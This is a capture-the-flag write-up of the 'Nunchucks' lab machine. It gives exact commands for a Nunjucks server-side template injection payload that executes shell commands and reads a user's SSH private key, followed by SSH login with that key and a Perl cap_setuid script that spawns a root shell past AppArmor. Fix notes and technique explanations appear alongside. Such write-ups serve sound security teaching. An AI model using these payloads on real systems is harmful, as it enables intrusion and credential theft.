Nunchucks
Summary
I discovered a virtual host (store.nunchucks.htb) on the HTTPS service running a Node.js/Express newsletter application. The subscription endpoint passed user-supplied email values directly to the Nunjucks template engine, enabling Server-Side Template Injection.
Using the Nunjucks range.constructor prototype-chain gadget, I escalated the injection to full remote code execution and read the SSH private key of local user 'david' from disk. Authenticating over SSH with the stolen key, I found that the system Perl binary held the cap_setuid Linux capability — sufficient to change a process UID to root — but an AppArmor profile appeared to restrict direct Perl calls.
Running a Perl script via its shebang line bypassed AppArmor entirely. The script called POSIX::setuid(0) via the unrestricted capability and spawned a root shell, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 4
nmap -sV -sC -p 22,80,443 --open $TARGETecho "$TARGET nunchucks.htb store.nunchucks.htb" | sudo tee -a /etc/hostscurl -skI https://store.nunchucks.htb/curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit -d 'not-json'Exact commands 1
curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit -d '{"email":"{{7*7}}"}'FixNever pass user input to a template engine as template sourceCritical
Exact commands 2
curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit --data-binary @- <<'PAYLOAD'
{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('id').toString()\")()}}"}
PAYLOADcurl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit --data-binary @- <<'PAYLOAD'
{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('cat /home/david/.ssh/id_rsa').toString()\")()}}"}
PAYLOADExact commands 3
chmod 600 /tmp/nunchucks_davidssh -i /tmp/nunchucks_david -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null david@$TARGETcat /home/david/user.txtExact commands 2
getcap -r / 2>/dev/nullaa-status 2>/dev/null | grep perlFixRemove the cap_setuid capability from the Perl interpreterCritical
Exact commands 2
cat > /tmp/a.pl <<'EOF'
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec '/bin/sh', '-p', '-c', 'id; cat /root/root.txt';
EOFchmod +x /tmp/a.pl && /tmp/a.plFixExtend the AppArmor Perl profile to cover shebang-invoked executionHigh
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 443/tcp | http recon-sweep-discovered |